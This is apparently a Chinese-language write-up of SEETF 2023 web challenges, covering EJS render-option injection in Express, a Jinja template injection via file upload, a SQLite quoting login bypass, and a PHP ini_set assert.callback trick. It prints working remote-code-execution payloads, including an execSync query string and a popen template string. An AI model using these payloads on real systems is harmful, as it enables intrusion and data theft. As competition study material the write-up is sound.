SEECTF writeups - web challs
关键字:ejs,php.ini,ini_set,sqlite3,ssti
ctftime:https://ctftime.org/event/1828
Express JavaScript Security
核心代码
1 | app.get('/greet', (req, res) => { |
题目构造很简单,使用的是最新版的ejs和express
1 | "dependencies": { |
我们可以给render塞任意参数,需要达到一个RCE的目的
debug运行一下程序,给render下一个断点,跟进一下代码

调用栈
1 | render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:571) |
看到一个merge函数,猜测存在原型链污染漏洞
这里的merge是var merge = require('utils-merge');导入的
经过测试发现并不能污染到原型


查看utils-merge中的函数,是直接进行拷贝,无法直接对原型进行修改

原型链污染这条路断了,我们继续看render的参数怎么工作

这里将传入的参数赋值给data
1 | exports.renderFile (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:475) |
这里如果 data.settings['view options'] 存在值,则会将 data.settings['view options'] 的值拷贝给opts

继续跟进代码,opts的值会传递给options

1 | Template (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:510) |
然后继续传递到compile

这里就是比较熟悉的原型链污染触发的地方,所有我们可以通过设置data.settings['view options']的值来控制opts,进而控制options,达到和原型链污染差不多的效果
存在黑名单
1 | const BLACKLIST = [ |
参考:https://www.anquanke.com/post/id/236354#h2-2 的链子
1 | {"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}} |
观察Template,我们发现通过设置opts.escape的值来设置options.escapeFunction,来绕过黑名单
1 | opts = opts || utils.createNullProtoObjWherePossible(); |
最终payload
1 | /greet?settings[view options][escape]=1; return global.process.mainModule.constructor._load('child_process').execSync('/readflag');&settings[view options][client]=true&settings[view options][compileDebug]=true&settings[view options][debug]=true |

拼接代码,任意代码执行


file uploader 1
存在漏洞点
如果fileext不在白名单中,会将文件名拼接到template中然后渲染返回
1 |
|
绕过他的黑名单即可
参考:https://xz.aliyun.com/t/9584#toc-3
fuzz类的索引
1 | import requests |
读取flag.txt
1 | POST /upload HTTP/1.1 |

file uploader 2
存在漏洞的地方
会渲染我们上传的文件
1 |
|
我们只需要构造恶意内容文件,将其上传即可进行类似ssti的操作
1 | {{g.pop.__globals__.__builtins__['__import__']('os').popen('cat i*').read()}} |
但是在上传文件之前,需要我们进行登录,进行sql查询之前对query进行拼接,但是限制了传入的字符串只能包含大小写字母,数字,花括号,下划线。不能通过闭合引号来进行注入
1 |
|
有意思的是在 sqlite3 中,单引号和双引号具有不同的含义,一个指的是一个字符串,另一个指的是一个标识符,一个标识符可以是一个列名,所以它变成像列名=列名
https://www.sqlite.org/lang_keywords.html

只要我们输入的账号密码和users的字段名对上了即可。
登录成功后,上传文件,然后访问文件即可触发ssti执行任意命令
1 | 登录:password=cGFzc3dvcmRpbmJhc2U2NA&username=dXNlcm5hbWVpbmJhc2U2NA |

Sourceful Guessless Web
本地搭建环境

在这题中我们可以进行任意次的ini_set($key, $value);
设置一个phpinfo();
看一下php的配置
刚开始看的是
auto_prepend_file
auto_append_file
发现这两个配置不能通过ini_set设置

后面往log这方面看,发现可以设置日志文件,但是并没有产生日志文件,并且网站目录root可写,文件落地方案失败
继续往下看 看到 pcre 方面,可以设置pcre.backtrack_limit和pcre.recursion_limit
不认识的配置项直接问chatgpt(很省时间)
1 | pcre.recursion_limit是什么 |
我们可以通过设置pcre.recursion_limit的值来限制递归深度,我们将其设置为0,则preg_match就会出错,断言失败

没什么用,我们继续往下翻配置

发现assert.callback 另一个关键配置
1 | assert.callback 是一个 PHP 配置选项,用于指定一个回调函数,在断言失败时被调用。断言是一种用于检查代码正确性的技术,通常用于在开发和测试过程中检测代码中的错误和异常情况。在 PHP 中,断言可以通过 assert() 函数来实现。 |
设置assert.callback我们的函数成功被执行,并且第一个参数是文件名,已知flag是以字符串的形式存在index.php中,我们可以通过读取index.php来读取flag。

还有一个限制就是函数的参数类型需要大于等于3,否则会报错,如highlight_file

通过翻文档的文件操作函数列表发现
1 | readfile(string $filename, bool $use_include_path = false, ?resource $context = null): int|false |

最后构造
1 | ?flag=SEE{FAKE_FLAG}&debug=a&config[pcre.backtrack_limit]=0&config[assert.callback]=readfile |
